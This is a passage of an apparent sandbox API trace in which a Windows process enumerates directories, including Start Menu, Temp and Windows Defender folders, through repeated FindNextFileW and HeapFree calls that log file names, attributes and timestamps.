lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0278.762] FindNextFileW (in: hFindFile=0x6ec4f0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6ec61aae, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xc234d9cc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6ec61aae, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tablet PC", cAlternateFileName="TABLET~1")) returned 1 [0278.762] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0278.762] FindNextFileW (in: hFindFile=0x6ec4f0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x955ce979, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x955ce979, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x955ce979, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x448, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Fax and Scan.lnk", cAlternateFileName="")) returned 1 [0278.762] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0278.762] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38b1d2da, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2eb3f5a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2eda1a5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x999, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Acrobat Reader DC.lnk", cAlternateFileName="ACROBA~1.LNK")) returned 1 [0278.763] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0278.763] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a923ff6, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x96fe9bef, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x6e749736, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x31c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0278.765] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0278.765] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc248d7d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a9704bf, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Maintenance", cAlternateFileName="MAINTE~1")) returned 1 [0278.765] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0278.765] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4b0ade7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfd412f52, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xfd412f52, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft Office 2016 Tools", cAlternateFileName="MICROS~1")) returned 1 [0278.767] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0278.767] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x25, ftCreationTime.dwLowDateTime=0x496f62c5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x496f62c5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x496f62c5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8ab, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MiracastView.lnk", cAlternateFileName="")) returned 1 [0278.767] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0278.767] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc24e74df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x474d6904, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System Tools", cAlternateFileName="SYSTEM~1")) returned 1 [0278.767] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0278.767] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x6ec87d0d, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xc24e8184, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Tablet PC", cAlternateFileName="TABLET~1")) returned 1 [0278.767] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0278.767] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc307c637, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0xc307c637, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0xc307c637, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x86e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Visio 2016.lnk", cAlternateFileName="VISIO2~1.LNK")) returned 1 [0278.768] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0278.768] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfd412f52, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xfd412f52, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Programs", cAlternateFileName="")) returned 0 [0278.768] FindClose (in: hFindFile=0x6ebeb0 | out: hFindFile=0x6ebeb0) returned 1 [0278.768] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0278.769] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc252d1d0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x21f770e1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Start Menu Places", cAlternateFileName="STARTM~2")) returned 1 [0278.769] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0278.769] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe349c49, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xbe349c49, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbe349c49, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SystemData", cAlternateFileName="SYSTEM~1")) returned 1 [0278.769] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0278.769] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc25d1ac7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0278.778] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0278.778] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc25d22c5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17ce1766, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WER", cAlternateFileName="")) returned 1 [0278.778] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0278.778] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc25d33b0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17ce1766, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportQueue", cAlternateFileName="REPORT~2")) returned 1 [0278.778] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0278.778] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x88818fce, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0x8883f249, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0278.778] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0278.778] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x88818fce, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0x8883f249, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 0 [0278.779] FindClose (in: hFindFile=0x6ebdf0 | out: hFindFile=0x6ebdf0) returned 1 [0278.779] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0278.779] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x8846c94f, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x8846c94f, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wfp", cAlternateFileName="")) returned 1 [0278.779] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0278.779] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x8846c94f, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x8846c94f, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wfp", cAlternateFileName="")) returned 0 [0278.779] FindClose (in: hFindFile=0x6ec370 | out: hFindFile=0x6ec370) returned 1 [0278.779] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0278.780] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc25d4e74, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb320aac5, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~1")) returned 1 [0278.823] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0278.823] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb2ba2529, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb2ba2529, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Definition Updates", cAlternateFileName="DEFINI~1")) returned 1 [0278.834] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0278.834] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc26252c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a996721, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0278.900] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0278.900] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc2626574, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NisBackup", cAlternateFileName="NISBAC~1")) returned 1 [0278.900] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0278.900] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc2626eab, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Updates", cAlternateFileName="")) returned 1 [0278.901] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0278.901] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc2626eab, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Updates", cAlternateFileName="")) returned 0 [0278.901] FindClose (in: hFindFile=0x6ec4b0 | out: hFindFile=0x6ec4b0) returned 1 [0278.901] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0278.901] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc26279a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Features", cAlternateFileName="")) returned 1 [0278.907] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0278.907] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc26281f9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LocalCopy", cAlternateFileName="LOCALC~1")) returned 1 [0278.912] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0278.912] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2628aa5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb2bc876c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Network Inspection System", cAlternateFileName="NETWOR~1")) returned 1 [0278.918] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0278.918] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc262a040, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Platform", cAlternateFileName="")) returned 1 [0278.918] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0278.918] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc262a749, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Quarantine", cAlternateFileName="QUARAN~1")) returned 1 [0278.919] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0278.919] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc26ff45d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x16ca3b2a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Scans", cAlternateFileName="")) returned 1 [0278.919] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0278.919] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc0597ac7, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc0597ac7, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Support", cAlternateFileName="")) returned 1 [0278.919] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0278.919] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc0597ac7, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc0597ac7, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Support", cAlternateFileName="")) returned 0 [0278.919] FindClose (in: hFindFile=0x6ebeb0 | out: hFindFile=0x6ebeb0) returned 1 [0278.920] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0278.920] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc2a90a48, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender Advanced Threat Protection", cAlternateFileName="WIF4A9~1")) returned 1 [0278.923] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0278.924] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc2a91ebd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Temp", cAlternateFileName="")) returned 1 [0278.926] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0278.926] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc2a91ebd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Temp", cAlternateFileName="")) returned 0 [0278.926] FindClose (in: hFindFile=0x6ec4b0 | out: hFindFile=0x6ec4b0) returned 1 [0278.926] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0278.927] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2a928fc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a996721, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~2")) returned 1 [0278.928] HeapFree (in: 